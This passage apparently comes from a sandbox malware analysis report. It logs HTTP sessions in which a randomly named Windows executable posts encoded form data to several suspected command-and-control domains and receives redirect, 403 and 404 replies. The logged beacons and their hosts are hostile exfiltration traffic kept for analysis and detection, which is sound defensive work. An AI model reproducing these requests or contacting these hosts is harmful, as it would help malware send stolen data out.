Nov 24, 2024 08:12:04.553461075 CET	456	OUT	GET /cpgr/?3vNdCBvX=yUPZw4O96lKRgUDhHw42lX6F/Rxn05lUVr3HqoHreXe2a6Vc78U2VxoX4VUOXe2AKNSXv9msRJ2q39Y75lzjFijspiVTtXDCDHBic1mdKVGnCgRAN7vlfYA=&etx=BXy4elO0X HTTP/1.1 Host: www.tals.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:12:05.645957947 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 24 Nov 2024 07:12:05 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 33 76 4e 64 43 42 76 58 3d 79 55 50 5a 77 34 4f 39 36 6c 4b 52 67 55 44 68 48 77 34 32 6c 58 36 46 2f 52 78 6e 30 35 6c 55 56 72 33 48 71 6f 48 72 65 58 65 32 61 36 56 63 37 38 55 32 56 78 6f 58 34 56 55 4f 58 65 32 41 4b 4e 53 58 76 39 6d 73 52 4a 32 71 33 39 59 37 35 6c 7a 6a 46 69 6a 73 70 69 56 54 74 58 44 43 44 48 42 69 63 31 6d 64 4b 56 47 6e 43 67 52 41 4e 37 76 6c 66 59 41 3d 26 65 74 78 3d 42 58 79 34 65 6c 4f 30 58 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?3vNdCBvX=yUPZw4O96lKRgUDhHw42lX6F/Rxn05lUVr3HqoHreXe2a6Vc78U2VxoX4VUOXe2AKNSXv9msRJ2q39Y75lzjFijspiVTtXDCDHBic1mdKVGnCgRAN7vlfYA=&etx=BXy4elO0X"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50035	147.255.21.187	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:11.487574100 CET	716	OUT	POST /u9hy/ HTTP/1.1 Host: www.50food.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.50food.com Referer: http://www.50food.com/u9hy/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 62 6f 34 4c 72 4a 51 70 35 57 6a 52 50 6d 79 50 61 77 69 38 50 4c 75 4b 42 59 31 47 6d 6b 59 39 78 70 2b 30 63 68 64 64 35 68 57 54 56 67 4d 63 55 2f 51 59 45 4a 57 32 70 49 58 34 53 4d 44 2b 4c 45 46 6e 38 79 43 47 67 6a 53 48 52 5a 79 68 34 70 51 5a 43 4c 5a 6c 45 42 72 74 73 41 55 67 48 32 45 72 75 4e 5a 78 6f 61 52 6c 4c 50 77 79 48 54 6a 67 77 32 2f 56 79 62 62 6a 4a 48 42 65 77 43 6f 55 64 55 33 32 47 2f 6b 51 54 51 37 57 53 67 66 36 67 59 4f 64 33 6f 32 67 53 7a 34 67 74 34 32 6c 4a 65 4c 64 37 4c 32 61 64 35 66 6a 6f 49 57 70 6b 6c 51 4a 4f 4d 4c 71 44 31 6d 65 78 77 3d 3d Data Ascii: 3vNdCBvX=bo4LrJQp5WjRPmyPawi8PLuKBY1GmkY9xp+0chdd5hWTVgMcU/QYEJW2pIX4SMD+LEFn8yCGgjSHRZyh4pQZCLZlEBrtsAUgH2EruNZxoaRlLPwyHTjgw2/VybbjJHBewCoUdU32G/kQTQ7WSgf6gYOd3o2gSz4gt42lJeLd7L2ad5fjoIWpklQJOMLqD1mexw==
Nov 24, 2024 08:12:12.740991116 CET	309	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 24 Nov 2024 07:12:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50036	147.255.21.187	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:14.193451881 CET	736	OUT	POST /u9hy/ HTTP/1.1 Host: www.50food.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.50food.com Referer: http://www.50food.com/u9hy/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 62 6f 34 4c 72 4a 51 70 35 57 6a 52 41 6d 43 50 63 58 2b 38 4a 72 75 4a 45 59 31 47 74 45 5a 56 78 70 79 30 63 67 59 57 35 54 69 54 56 42 38 63 47 72 38 59 42 4a 57 32 6e 6f 57 77 63 73 44 35 4c 45 5a 56 38 7a 2b 47 67 6a 47 48 52 61 6d 68 34 34 51 65 43 62 5a 6e 4d 68 72 72 69 67 55 67 48 32 45 72 75 4e 4d 61 6f 62 31 6c 4b 38 59 79 47 78 4c 6a 73 6d 2f 53 7a 62 62 6a 65 33 42 61 77 43 6f 36 64 56 37 63 47 35 67 51 54 56 2f 57 54 78 66 35 75 59 4f 48 35 49 33 48 55 6d 4e 61 33 62 44 62 44 38 4f 6d 38 71 53 63 59 2f 53 35 35 35 33 2b 32 6c 30 36 54 4c 43 65 4f 32 62 58 71 37 36 42 59 36 52 49 50 54 73 71 77 41 77 69 59 6f 46 34 6b 41 38 3d Data Ascii: 3vNdCBvX=bo4LrJQp5WjRAmCPcX+8JruJEY1GtEZVxpy0cgYW5TiTVB8cGr8YBJW2noWwcsD5LEZV8z+GgjGHRamh44QeCbZnMhrrigUgH2EruNMaob1lK8YyGxLjsm/Szbbje3BawCo6dV7cG5gQTV/WTxf5uYOH5I3HUmNa3bDbD8Om8qScY/S5553+2l06TLCeO2bXq76BY6RIPTsqwAwiYoF4kA8=
Nov 24, 2024 08:12:15.407304049 CET	309	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 24 Nov 2024 07:12:10 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50037	147.255.21.187	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:16.903873920 CET	10818	OUT	POST /u9hy/ HTTP/1.1 Host: www.50food.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.50food.com Referer: http://www.50food.com/u9hy/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 62 6f 34 4c 72 4a 51 70 35 57 6a 52 41 6d 43 50 63 58 2b 38 4a 72 75 4a 45 59 31 47 74 45 5a 56 78 70 79 30 63 67 59 57 35 54 36 54 56 33 49 63 55 61 38 59 47 4a 57 32 35 34 57 7a 63 73 44 6f 4c 45 42 72 38 7a 79 57 67 68 2b 48 51 34 2b 68 70 62 49 65 4d 62 5a 6e 4f 68 72 75 73 41 56 6f 48 79 67 76 75 4e 63 61 6f 62 31 6c 4b 36 6b 79 57 54 6a 6a 75 6d 2f 56 79 62 62 76 4a 48 42 69 77 43 67 4d 64 56 76 6d 48 4a 41 51 53 31 50 57 55 43 33 35 69 59 4f 5a 2b 49 33 66 55 6d 4a 2f 33 62 65 71 44 39 72 75 38 70 4f 63 59 37 58 44 75 61 2b 6c 74 45 49 72 50 73 2b 65 48 6d 33 70 73 70 65 62 51 59 5a 4a 4e 67 70 49 74 54 74 48 4d 6f 41 6e 38 6d 61 5a 4d 69 35 66 6f 35 6b 4b 4b 77 36 4e 71 43 31 4d 58 39 55 34 6c 4d 79 4e 34 6f 66 48 6f 42 30 64 70 34 4a 54 46 33 39 4b 4f 52 4d 57 73 55 58 48 39 4b 45 58 4a 45 35 6c 63 6b 66 48 31 50 63 78 36 4a 37 4c 56 6f 30 71 44 38 67 4d 58 52 33 34 6e 48 4f 43 2b 56 36 68 39 4a 71 74 4d 4e 34 54 4f 61 77 31 32 67 66 4c 4e 63 56 45 4c 4e 76 4b 79 [TRUNCATED] Data Ascii: 3vNdCBvX=bo4LrJQp5WjRAmCPcX+8JruJEY1GtEZVxpy0cgYW5T6TV3IcUa8YGJW254WzcsDoLEBr8zyWgh+HQ4+hpbIeMbZnOhrusAVoHygvuNcaob1lK6kyWTjjum/VybbvJHBiwCgMdVvmHJAQS1PWUC35iYOZ+I3fUmJ/3beqD9ru8pOcY7XDua+ltEIrPs+eHm3pspebQYZJNgpItTtHMoAn8maZMi5fo5kKKw6NqC1MX9U4lMyN4ofHoB0dp4JTF39KORMWsUXH9KEXJE5lckfH1Pcx6J7LVo0qD8gMXR34nHOC+V6h9JqtMN4TOaw12gfLNcVELNvKy1kVi2NMjEh8P3j4K8H4IxbzB0o5obHCDQBA3ts/4B/M6Ve1zLg0mCHA7Aj9FGJqiP53EFu3ag7BCHDddRmuM3cbhOOH2DM8wVs6W3igBPuEyR6FetVcEdSFRehhwxOFxXHHs/9TB9oHAr7zdXar0aHtUTqpRo93rLZ9eM4nE99uVxFAJzJ0WTmIz7QwvPLOFXH6cqfrQi5YkV3F1+EpD9ss7wU2H2ez9xTcIs+JwDCtrm+7qr6x4qwRhqVj+nJtOkVRI+0D+mxIk3E68W+HUM1i+3pSPiZYroABsh2IzaQxHhNCgWvjPX1Sir3dOH6YMffR0FpQAKN7UzH+nalhSwYUEoRaW/YUST3TnvRbn78K54w7JKoQUN9GnLmW2OIeS3MAxV3JbC9c4kHoV944scqWyirmBCul63MmYYGC3LBAYH5K0+b6DmkWabgtg8I6/0gq8rkN3Dd/rdYX02H512sEU0uVWnIp2MTTCR6MNbtP4v37GM+8WNFVUV8mVrqdUU58+OURkRTCbiIZdDZ2vh8hA5sKzwzDxAxIi359KcM/J/B5GiOWqhudEHwwYJHd6Z9w6agYifzZuRVJSkS/CS5bGRv1VkKGYnPKh9AbgTf6kVNxOlFhXaVW7JspF/ZnhgUimgWyIGNZgHbRTQlgVj5b9LGdv/5lxjn [TRUNCATED]
Nov 24, 2024 08:12:18.190557957 CET	309	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 24 Nov 2024 07:12:13 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50038	147.255.21.187	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:19.576195002 CET	458	OUT	GET /u9hy/?3vNdCBvX=WqQro+xdjTeJIlGwaHeXAa2bD6tPyTI49rKxVxpmjgGfbhgcY6AAEIO8u8GwbvTJPVNB3UOdkxCDRvWF6atxIpJrNQCfkQktXm0b+9FyofxiDukpHyXFoA4=&etx=BXy4elO0X HTTP/1.1 Host: www.50food.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:12:20.825225115 CET	141	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:12:15 GMT Content-Type: text/html Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50039	104.21.42.77	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:26.345483065 CET	740	OUT	POST /f8c6/ HTTP/1.1 Host: www.zriaraem-skiry.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.zriaraem-skiry.sbs Referer: http://www.zriaraem-skiry.sbs/f8c6/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6e 62 6a 52 64 34 6a 44 44 6f 47 6e 53 68 41 4b 37 5a 4c 36 56 38 62 38 34 30 75 6c 79 36 67 57 52 57 6f 64 79 65 71 54 4c 43 6a 31 44 74 63 7a 70 75 45 51 68 37 72 46 6e 62 7a 54 45 4c 65 4c 66 74 50 37 54 67 41 48 56 47 2b 64 67 55 71 39 4c 42 6d 6d 34 68 44 75 34 76 30 6a 67 72 6a 5a 52 4e 2f 2f 46 46 47 48 55 74 35 46 33 38 6f 44 38 77 35 52 62 48 79 4b 55 7a 45 59 46 6c 39 6f 45 2f 49 2b 72 44 34 70 32 54 4e 6d 5a 74 6f 5a 6a 32 31 53 55 54 45 61 59 78 48 62 73 59 77 50 39 46 79 33 58 52 67 6c 72 42 78 53 32 4f 71 7a 75 73 4e 38 46 7a 4c 6f 76 45 41 53 77 74 4d 73 76 51 3d 3d Data Ascii: 3vNdCBvX=nbjRd4jDDoGnShAK7ZL6V8b840uly6gWRWodyeqTLCj1DtczpuEQh7rFnbzTELeLftP7TgAHVG+dgUq9LBmm4hDu4v0jgrjZRN//FFGHUt5F38oD8w5RbHyKUzEYFl9oE/I+rD4p2TNmZtoZj21SUTEaYxHbsYwP9Fy3XRglrBxS2OqzusN8FzLovEASwtMsvQ==
Nov 24, 2024 08:12:27.641200066 CET	1236	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 10:57:57 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kBf1BjCvoiC1SKu16txwjLORJtdwAflJvnPVMD7uoQXCMcbVbQdLLZ8MWbE3M%2Fb9BPRu2m73E4YBQ7AzBYZPeqC78ORTKK9m118VIuVBpUKBMY9UR4oPKsPCuK0HGZ6TYVJUQPi7uMbM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77973a5fc741c1-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=740&delivery_rate=0&cwnd=203&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 51 6f d3 30 10 7e df af 38 82 40 20 2d 75 d3 6e 8c 26 69 a4 d1 6e 62 d2 80 89 15 c1 1e bd e4 1a 7b 24 76 b0 af 69 c3 c4 7f 47 4e b2 b6 13 b0 27 9c 17 fb ee bb ef bb 73 ee 1c 3f 9b 7f 9a 2d 6e ae ce 40 50 59 c0 d5 97 77 97 17 33 f0 7c c6 be 8e 67 8c cd 17 73 f8 f6 7e f1 e1 12 82 c1 10 ae c9 c8 94 18 3b fb e8 81 27 88 aa 90 b1 f5 7a 3d 58 8f 07 da e4 6c f1 99 6d 1c 4b e0 c2 fa ad 6f db 98 41 46 99 97 1c c4 ad c8 a6 2c 94 9d fe 85 20 98 4c 26 5d 9c e7 40 61 c1 55 3e f5 50 79 b0 dd 25 b1 40 9e 25 07 00 00 31 49 2a 30 39 1a 1e c1 cb 32 e3 56 44 f0 51 13 9c eb 95 ca 62 d6 39 3b 60 89 c4 c1 e9 f9 f8 63 25 eb a9 37 d3 8a 50 91 bf 68 2a f4 20 ed 4e 53 8f 70 43 cc e9 47 90 0a 6e 2c d2 f4 cb e2 dc 7f eb b1 7d 22 c5 4b 9c 7a 19 da d4 c8 8a a4 56 7b 0c d7 da 98 e6 10 2a 9e 23 28 4d b0 74 c9 6c c3 2d 35 05 02 35 15 f6 5a a9 b5 5e e7 73 eb 56 67 0d dc 2f b5 22 df ca 9f 18 06 47 d5 26 82 54 17 da 84 cf 4f da 15 41 eb 5e f2 52 16 4d c8 8d e4 45 04 8e ca e7 85 cc 55 [TRUNCATED] Data Ascii: 2d0TQo0~8@ -un&inb{$viGN's?-n@PYw3\|gs~;'z=XlmKoAF, L&]@aU>Py%@%1I092VDQb9;`c%7Ph NSpCGn,}"KzV{*#(Mtl-55Z^sVg/"G&TOA^RMEU"4-1QN&'Rp260t>;<<};"a
Nov 24, 2024 08:12:27.641267061 CET	334	IN	Data Raw: 32 17 14 c2 ad 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 3e c8 fb e3 56 7e 3c a9 36 7b fa 15 dc af 65 46 22 1c 77 b4 7f 16 db 13 f8 05 2e 29 e4 2b d2 51 6f 30 ad 76 6b 79 c0 90 ae 42 18 bb 3a 77 0a 99 ac ff 8b c6 8e 91 87 85 54 df 77 f7 36 Data Ascii: 2.$BR!>V~<6{eF"w.)+Qo0vkyB:wTw6>:9}I5 b[rnhba}/VIA\n'QqSr5HudwObVa"p3<Fz@nJ52T9<iFZR<m-$l+HK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50040	104.21.42.77	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:29.008268118 CET	760	OUT	POST /f8c6/ HTTP/1.1 Host: www.zriaraem-skiry.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.zriaraem-skiry.sbs Referer: http://www.zriaraem-skiry.sbs/f8c6/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6e 62 6a 52 64 34 6a 44 44 6f 47 6e 54 42 77 4b 35 35 33 36 63 38 62 37 33 55 75 6c 6b 4b 68 64 52 58 55 64 79 62 4b 44 4c 51 58 31 47 34 67 7a 6d 50 45 51 78 72 72 46 6f 4c 7a 53 4b 72 65 4d 66 74 53 4d 54 6c 41 48 56 48 61 64 67 51 36 39 4c 51 6e 55 37 52 44 73 33 50 30 68 2f 37 6a 5a 52 4e 2f 2f 46 46 43 74 55 74 68 46 33 4d 34 44 7a 78 35 53 52 6e 79 4a 64 54 45 59 55 31 39 6b 45 2f 4a 64 72 42 4d 54 32 58 39 6d 5a 76 67 5a 6a 69 70 64 50 6a 45 6d 57 52 47 69 39 59 35 33 37 31 37 47 53 77 49 6c 71 41 4a 4f 36 6f 6e 70 2f 64 73 72 58 7a 76 62 79 44 4a 6d 39 75 78 6c 30 51 49 79 63 49 45 6c 49 33 73 42 58 6c 67 34 4a 42 58 77 67 67 45 3d Data Ascii: 3vNdCBvX=nbjRd4jDDoGnTBwK5536c8b73UulkKhdRXUdybKDLQX1G4gzmPEQxrrFoLzSKreMftSMTlAHVHadgQ69LQnU7RDs3P0h/7jZRN//FFCtUthF3M4Dzx5SRnyJdTEYU19kE/JdrBMT2X9mZvgZjipdPjEmWRGi9Y53717GSwIlqAJO6onp/dsrXzvbyDJm9uxl0QIycIElI3sBXlg4JBXwggE=
Nov 24, 2024 08:12:30.335587978 CET	1236	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 07:12:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 29 Aug 2024 10:57:57 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jc13MpNOkPSm%2FHCpuh0AsaK8KFSNwt4%2BJz0QSc8P%2BAIOrgVBoLP%2FPJVm8yiGz2GogPEWldPSg%2Fej5X%2FbbAHevb7q3n1x4XtVlYhE49e0gg%2Fwna%2BrMmFxi7nVxYLLJ3VD5FbkslM7UW4G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77974b3c5fc325-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=760&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 54 51 6f d3 30 10 7e df af 38 82 40 20 2d 75 d3 6e 8c 26 69 a4 d1 6e 62 d2 80 89 15 c1 1e bd e4 1a 7b 24 76 b0 af 69 c3 c4 7f 47 4e b2 b6 13 b0 27 9c 17 fb ee bb ef bb 73 ee 1c 3f 9b 7f 9a 2d 6e ae ce 40 50 59 c0 d5 97 77 97 17 33 f0 7c c6 be 8e 67 8c cd 17 73 f8 f6 7e f1 e1 12 82 c1 10 ae c9 c8 94 18 3b fb e8 81 27 88 aa 90 b1 f5 7a 3d 58 8f 07 da e4 6c f1 99 6d 1c 4b e0 c2 fa ad 6f db 98 41 46 99 97 1c c4 ad c8 a6 2c 94 9d fe 85 20 98 4c 26 5d 9c e7 40 61 c1 55 3e f5 50 79 b0 dd 25 b1 40 9e 25 07 00 00 31 49 2a 30 39 1a 1e c1 cb 32 e3 56 44 f0 51 13 9c eb 95 ca 62 d6 39 3b 60 89 c4 c1 e9 f9 f8 63 25 eb a9 37 d3 8a 50 91 bf 68 2a f4 20 ed 4e 53 8f 70 43 cc e9 47 90 0a 6e 2c d2 f4 cb e2 dc 7f eb b1 7d 22 c5 4b 9c 7a 19 da d4 c8 8a a4 56 7b 0c d7 da 98 e6 10 2a 9e 23 28 4d b0 74 c9 6c c3 2d 35 05 02 35 15 f6 5a a9 b5 5e e7 73 eb 56 67 0d dc 2f b5 22 df ca 9f 18 06 47 d5 26 82 54 17 da 84 cf 4f da 15 41 eb 5e f2 52 16 4d c8 8d e4 45 04 8e ca e7 85 cc 55 [TRUNCATED] Data Ascii: 2d0TQo0~8@ -un&inb{$viGN's?-n@PYw3\|gs~;'z=XlmKoAF, L&]@aU>Py%@%1I092VDQb9;`c%7Ph NSpCGn,}"KzV{*#(Mtl-55Z^sVg/"G&TOA^RMEU"4-1QN&'Rp260t>;<<
Nov 24, 2024 08:12:30.335604906 CET	348	IN	Data Raw: cf 1f e7 00 7d 12 3b 11 18 b5 22 ad 61 8d 32 17 14 c2 ad 2e b2 08 0a 24 42 e3 db 8a a7 52 e5 21 f8 81 03 3e c8 fb e3 56 7e 3c a9 36 7b fa 15 dc af 65 46 22 1c 77 b4 7f 16 db 13 f8 05 2e 29 e4 2b d2 51 6f 30 ad 76 6b 79 c0 90 ae 42 18 bb 3a 77 0a Data Ascii: };"a2.$BR!>V~<6{eF"w.)+Qo0vkyB:wTw6>:9}I5 b[rnhba}/VIA\n'QqSr5HudwObVa"p3<Fz@nJ52T9<iFZR<m-$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50041	104.21.42.77	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:31.857707977 CET	10842	OUT	POST /f8c6/ HTTP/1.1 Host: www.zriaraem-skiry.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.zriaraem-skiry.sbs Referer: http://www.zriaraem-skiry.sbs/f8c6/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 6e 62 6a 52 64 34 6a 44 44 6f 47 6e 54 42 77 4b 35 35 33 36 63 38 62 37 33 55 75 6c 6b 4b 68 64 52 58 55 64 79 62 4b 44 4c 51 50 31 61 65 30 7a 6e 73 73 51 79 72 72 46 75 37 7a 58 4b 72 66 4a 66 74 4b 49 54 6c 45 58 56 46 53 64 6d 43 79 39 66 79 50 55 73 42 44 73 31 50 30 73 67 72 69 54 52 4a 6a 42 46 46 53 74 55 74 68 46 33 50 51 44 33 67 35 53 65 48 79 4b 55 7a 45 63 46 6c 39 49 45 38 34 6d 72 42 59 44 32 6b 31 6d 5a 50 77 5a 68 58 31 64 44 6a 45 67 56 52 47 54 39 59 6c 6f 37 31 6d 35 53 77 4e 43 71 41 74 